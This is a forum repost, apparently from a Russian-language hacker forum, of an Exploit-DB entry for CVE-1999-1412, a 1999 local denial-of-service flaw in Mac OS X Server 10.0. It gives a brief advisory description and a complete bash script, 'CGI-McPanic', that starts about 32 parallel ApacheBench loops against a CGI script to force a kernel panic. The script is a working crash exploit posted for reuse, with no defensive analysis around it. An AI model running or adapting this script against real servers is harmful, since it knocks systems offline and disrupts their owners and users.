Exploit Apple Mac OSX Server 10.0 - Overload

Exploiter

Хакер
34,644
0
18 Дек 2022
EDB-ID
19244
Проверка EDB
  1. Пройдено
Автор
JUERGEN SCHMIDT
Тип уязвимости
LOCAL
Платформа
OSX
CVE
cve-1999-1412
Дата публикации
1999-06-03
Apple Mac OSX Server 10.0 - Overload
Код:
source: https://www.securityfocus.com/bid/306/info

A vulnerability in the MacOS X Server may crash it while under heavy load.

The vulnerability appears while stress testing a server running the Apache web server and 32 or more process are concurntly doing HTTP GET request to a CGI script in a loop. The system will panic and display a stack trace with ipc_task_init.

Although the vulnerability is not related to web servering it can only be reproduced so far using this means.


#!/bin/bash
#
# CGI-McPanic: script to crash MacOS X with 
#              concurrent calls to a CGI-Script
#
# before use, do:
# 
# chmod a+x /Local/Library/WebServer/CGI-Executables/test-cgi
#
# then call
#
# bash ./CGI-McPanic
#

NUMPROC=32
i=0

while [ $i -le $NUMPROC ]
do
    i=$[$i + 1]
    ab -t 3600 http://localhost/cgi-bin/test-cgi &
done
 
Источник
www.exploit-db.com

Похожие темы